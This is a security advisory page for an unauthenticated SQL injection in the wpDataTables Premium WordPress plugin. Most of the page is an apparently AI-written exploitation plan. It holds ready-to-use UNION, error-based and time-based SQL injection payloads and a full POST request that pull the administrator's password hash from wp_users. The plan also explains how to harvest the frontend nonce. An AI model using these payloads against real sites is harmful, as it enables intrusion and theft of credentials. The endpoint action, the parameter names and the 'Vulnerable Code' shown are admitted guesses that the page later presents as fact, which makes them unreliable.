wpDataTables (Premium) <= 7.3.6 - Unauthenticated SQL Injection
Description
The wpDataTables (Premium) plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.3.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
Source Code
WordPress.org SVNPatched version not available.
This exploitation research plan targets **CVE-2026-49080**, an unauthenticated SQL Injection vulnerability in the **wpDataTables (Premium)** plugin. --- ### 1. Vulnerability Summary The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before ap…
Show full research plan
This exploitation research plan targets CVE-2026-49080, an unauthenticated SQL Injection vulnerability in the wpDataTables (Premium) plugin.
1. Vulnerability Summary
The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before appending it to a SQL query within an AJAX handler accessible to unauthenticated users. Specifically, the vulnerability resides in the table data retrieval logic where filtering or sorting parameters are concatenated directly into the WHERE or ORDER BY clauses of the database query.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
get_wdtable(inferred; common entry point for frontend table rendering) - Vulnerable Parameter:
wdt_column_filterorcolumns[n][search][value](inferred) - Authentication: None (via
wp_ajax_nopriv_hook) - Preconditions: At least one table must be created and published on a public page/post via shortcode.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith theactionparameter set to the vulnerable handler. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_get_wdtable', array( 'WDT_AJAX_Handler', 'get_wdtable' ) );(inferred) - Input Processing: The handler retrieves user input from
$_POST. - Vulnerable Sink: The input is passed to a method (e.g.,
WPDataTable::get_table_data) that builds a SQL string using concatenation:// Inferred Vulnerable Logic $filter = $_POST['wdt_column_filter']; $sql = "SELECT * FROM {$table_name} WHERE 1=1 AND (column_name LIKE '%$filter%')"; $results = $wpdb->get_results($sql); - Execution:
$wpdb->get_results()executes the injected query.
4. Nonce Acquisition Strategy
wpDataTables Premium typically uses nonces for AJAX requests. Because this is an unauthenticated vulnerability, the nonce must be exposed on the frontend.
- Identify Shortcode: The plugin uses
[wpdatatable id=1]. - Setup Page: Create a page containing a table.
wp post create --post_type=page --post_title="Data View" --post_status=publish --post_content='[wpdatatable id=1]' - Navigate: Use
browser_navigateto visit the newly created page. - Extract Nonce: The plugin localizes its AJAX configuration. Use
browser_evalto extract the nonce:- Inferred JS Variable:
window.wdt_ajax_object?.wdt_nonceorwindow.wpdatatables_frontend_config?.nonce - Action:
const nonce = browser_eval("window.wdt_ajax_object.wdt_nonce")
- Inferred JS Variable:
5. Exploitation Strategy
We will use a UNION-based SQL injection to extract the administrator's password hash from the wp_users table.
- Determine Column Count: Incrementally test
ORDER BYuntil an error occurs.- Payload:
1' ORDER BY 10-- -
- Payload:
- Locate Reflection Point: Inject a UNION SELECT with identifiable strings.
- Payload:
1' UNION SELECT 'col1','col2','col3',...-- -
- Payload:
- Data Extraction:
- HTTP Request: Use
http_requesttool. - Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=get_wdtable& table_id=1& wdt_nonce=[EXTRACTED_NONCE]& wdt_column_filter=1' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- - - Headers:
Content-Type: application/x-www-form-urlencoded
- HTTP Request: Use
6. Test Data Setup
- Create a Table: Use the wpDataTables UI or a SQL import to ensure at least one table exists (ID 1).
- Publish Table: Ensure the table is embedded in a public post using the
[wpdatatable id=1]shortcode. - Verify Admin: Ensure an admin user exists (default ID 1).
7. Expected Results
The HTTP response should be a JSON object containing the results of the SQL query. In a successful exploit, the user_pass (phpass hash) of the administrator will be present in one of the data columns in the response body.
8. Verification Steps
- Retrieve Hash: Capture the hash from the
http_requestresponse. - CLI Verification: Run
wp user get 1 --field=user_passvia the terminal. - Comparison: Compare the hash retrieved via SQLi with the hash returned by WP-CLI. If they match, the exploitation is confirmed.
9. Alternative Approaches
- Error-Based Injection: If the response does not reflect the data but errors are enabled, use
updatexml()orextractvalue():- Payload:
1' AND (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))x)-- -
- Payload:
- Time-Based Blind: If no data or errors are returned, use
SLEEP():- Payload:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))x)-- - - Measurement: Monitor the
time_totalin thehttp_requestresponse.
- Payload:
Summary
The wpDataTables (Premium) plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to and including 7.3.6. This vulnerability exists due to insufficient sanitization and lack of preparation on user-supplied parameters within the plugin's AJAX data retrieval logic, allowing attackers to append malicious SQL queries.
Vulnerable Code
// Inferred Vulnerable Logic from Research Plan $filter = $_POST['wdt_column_filter']; $sql = "SELECT * FROM {$table_name} WHERE 1=1 AND (column_name LIKE '%$filter%')"; $results = $wpdb->get_results($sql);
Exploit Outline
To exploit this vulnerability, an attacker first locates a public page where a wpDataTable is rendered to extract a valid AJAX nonce from the frontend configuration. The attacker then sends a POST request to the admin-ajax.php endpoint with the action set to 'get_wdtable'. By supplying a UNION-based SQL injection payload in a filtering parameter such as 'wdt_column_filter', the attacker can extract sensitive information from the database, which is then reflected in the plugin's JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.